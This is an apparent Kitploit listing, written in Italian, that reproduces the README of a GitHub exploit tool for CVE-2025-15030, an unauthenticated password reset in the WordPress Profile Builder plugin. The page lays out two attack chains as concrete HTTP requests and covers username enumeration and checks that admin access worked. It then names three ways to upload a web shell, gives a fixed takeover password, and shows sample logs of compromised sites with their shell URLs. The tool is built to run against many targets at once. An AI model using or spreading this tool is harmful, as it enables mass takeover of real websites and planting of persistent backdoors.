Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-15030 — User Profile Builder < 3.15.2 - Reimpostazione password arbitraria non autenticata | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2025-15030
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubnxploited/cve-2025-15030

CVE-2025-15030

User Profile Builder < 3.15.2 - Reimpostazione password arbitraria non autenticata

Vedi Repository
1195 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-15030

User Profile Builder < 3.15.2 - Reset Password Arbitrario Non Autenticato

CVE-2025-15030

User Profile Builder — Reset Password Non Autenticato → Compromissione Admin + Upload Shell

 ____  _     _____      ____  ____  ____  ____        _  ____  ____ _____  ____
/   _\/ \ |\/  __/     /_   \/  _ \/_   \/ ___\      / \/ ___\/  _ \\__  \/  _ \
|  /  | | //|  \ _____  /   /| / \| /   /|    \_____ | ||    \| / \|  /  || / \|
|  \__| \// |  /_\____\/   /_| \_/|/   /_\___ |\____\| |\___ || \_/| _\  || \_/|
\____/\__/  \____\     \____/\____/\____/\____/      \_/\____/\____//____/\____/

CVE CVSS Plugin Auth Python Author


❶ Vulnerabilità

CampoDettaglio
CVECVE-2025-15030
CVSS9.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ADPCISA-ADP
PluginUser Profile Builder per WordPress
Versioni interessateTutte le versioni precedenti alla 3.15.2
AutenticazioneNon richiesta
TipoReset Password Improprio — Compromissione Account Non Autenticata
CWECWE-640 · Meccanismo di Recupero Password Debole

Causa principale:
Il flusso di recupero password del plugin Profile Builder (action2=recover_password2) non valida correttamente la chiave di reset né applica la scadenza del token. Inviando una POST appositamente costruita con un password_recovery_nonce_field2 valido estratto dalla pagina di reset, un attaccante non autenticato può impostare una nuova password per qualsiasi utente WordPress — inclusi gli amministratori — conoscendo solo il nome utente. Non è richiesta alcuna interazione via email né un token di reset valido.


❷ Cosa Fa lo Strumento

Questo strumento implementa due catene di attacco indipendenti contro ogni bersaglio, entrambe seguite da un deployment opzionale della shell:

┌────────────────────────────────────────────────────────────────────┐
│  CHAIN 1 · CORE  (wp-login native reset abuse)                    │
│                                                                    │
│  POST /wp-login.php?action=lostpassword  (trigger reset)          │
│  GET  /wp-login.php?action=rp&key=...    (follow reset link)      │
│  POST /wp-login.php?action=resetpass     (inject new password)    │
│  Enumerate usernames  →  brute strict login  →  verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│  CHAIN 2 · PB  (Profile Builder reset-from-link)                  │
│                                                                    │
│  Load reset URLs from pb_reset_links.txt                          │
│  GET  <reset_url>  →  extract nonce + userData                    │
│  POST action2=recover_password2  →  set new password              │
│  Strict login  →  verify /wp-admin/ access                        │
├───────────────────────────────────────────────────────────��────────┤
│  SHELL UPLOAD  (runs after any confirmed admin hit)               │
│                                                                    │
│  Method 1  →  plugin-install.php upload  (Nxploited.zip)          │
│  Method 2  →  REST API  /wp-json/wp/v2/plugins                    │
│  Method 3  →  Plugin/Theme editor  (write Nx.php directly)        │
│  Verify    →  GET /wp-content/plugins/Nxploited/Nx.php            │
│  Log       →  scan_results/shells.txt                             │
└────────────────────────────────────────────────────────────────────┘

❸ Setup

git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0

Posiziona Nxploited.zip nella stessa directory dello script per abilitare l'upload della shell. Lo strumento funziona anche senza, ma il deployment della shell verrà saltato.


❹ Utilizzo

python3 CVE-2025-15030.py

Prompt

Targets list file (one URL per line):            list.txt
Threads (concurrent sites) [5]:                  5
HTTP timeout (seconds) [10]:                     10
Output file for core wp-login reset successes:   scan_results/wp_login_reset_success.txt
Output file for Nxploited shells:                scan_results/shells.txt
Profile Builder reset links file (optional):     pb_reset_links.txt

Password usata per tutti i tentativi di reset e login è fissa internamente:

Nxploited_adminSA

❺ File di Input

list.txt — Target (obbligatorio)

https://target1.com
target2.com
http://target3.com/wordpress

pb_reset_links.txt — Link di Reset di Profile Builder (opzionale)

Se hai catturato i link di reset password via email da Profile Builder, incollali qui uno per riga. Lo strumento:

  1. Caricherà la pagina di reset ed estrarrà password_recovery_nonce_field2 + userData
  2. Invierà la nuova password tramite action2=recover_password2
  3. Tenterà un login admin rigoroso con le nuove credenziali
https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor

❻ Enumerazione Username

Lo strumento scopre automaticamente gli username WordPress utilizzando tre metodi prima di tentare il login:

MetodoEndpoint
Redirect autore/?author=1 → /?author=10
API REST/wp-json/wp/v2/users
Euristica hostnamePrima etichetta del nome di dominio
Fallback predefinitoadmin sempre incluso

❼ Verifica Admin

Ogni tentativo di login viene verificato rigorosamente prima di scrivere i risultati. Lo strumento controlla:

/wp-admin/index.php       →  id="adminmenu", id="wpadminbar"
/wp-admin/users.php       →  users.php indicator
/wp-admin/plugins.php     →  plugins.php indicator
/wp-admin/plugin-install.php  →  upload-plugin, plugin-install-tab

Un risultato viene scritto su disco solo quando vengono confermati ≥ 3 marcatori admin.


❽ Metodi di Upload della Shell

Dopo una sessione admin confermata, lo strumento tenta tre metodi di escalation in ordine:

MetodoEndpointTrigger
Upload Plugin/wp-admin/update.php?action=upload-pluginCarica Nxploited.zip tramite il modulo di installazione
API REST/wp-json/wp/v2/pluginsPOST ZIP diretta
Scrittura Editor/wp-admin/plugin-editor.phpScrive Nx.php tramite l'editor dei file

Verifica della shell: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200


❾ File di Output

FileContenuto
scan_results/wp_login_reset_success.txtAccessi admin confermati tramite catena CORE
scan_results/shells.txtURL delle shell deployate con le credenziali

Formato

wp_login_reset_success.txt

[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin  pass=Nxploited_adminSA

shells.txt

[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php

❿ Formato dell'Output del Terminale

[host]  https://target.com
CORE: KEY=OK  , RESET=OK  , ACCESS=1   |
PB:   KEY=FAIL, RESET=FAIL, ACCESS=0   |
SHELL: OK       | LOGIN: https://target.com/wp-login.php
Scarica lo strumento